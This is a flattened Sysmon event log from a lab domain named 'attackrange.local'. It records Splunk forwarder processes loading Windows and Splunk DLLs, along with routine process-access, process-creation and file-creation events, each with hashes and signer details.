NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000054893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.058{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000054892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.058{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.058{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000054890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.058{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000054889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.058{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.058{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.058{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.058{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.058{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000054884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.059{7BD73061-7430-613B-920B-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017579Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:21.153{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E18AAB83CF0F46EC865ABB98D60C0EFF,SHA256=1B45292D6F37443A5C534180DF5BF8073974DCD69B3B64BBB4455897A54E88A5,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000055055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.986{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000055054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.982{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000055053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.981{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000055052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.756{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000055051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.756{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000055050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.756{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000055049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.755{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000055048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.753{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000055047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.752{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000055046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.752{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000055045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000055044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000055043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000055042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000055041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000055040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000055039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000055038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\winspool.drv10.0.14393.4169 (rs1_release.210107-1130)Windows Spooler DriverMicrosoft® Windows® Operating SystemMicrosoft Corporationwinspool.drvMD5=D21FAA584F844E61375D95B5BE9115EE,SHA256=E221EA0081FDE7AAAD71A38016A8D470082B3732E9ED2D8ED7C97E9F41AF0045,IMPHASH=2005807FD04567B79F4109D23F9E6018trueMicrosoft WindowsValid 734700x800000000000000055037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000055036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000055035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000055034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000055033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000055032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000055031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000055030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000055029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000055028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000055027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000055026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000055025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 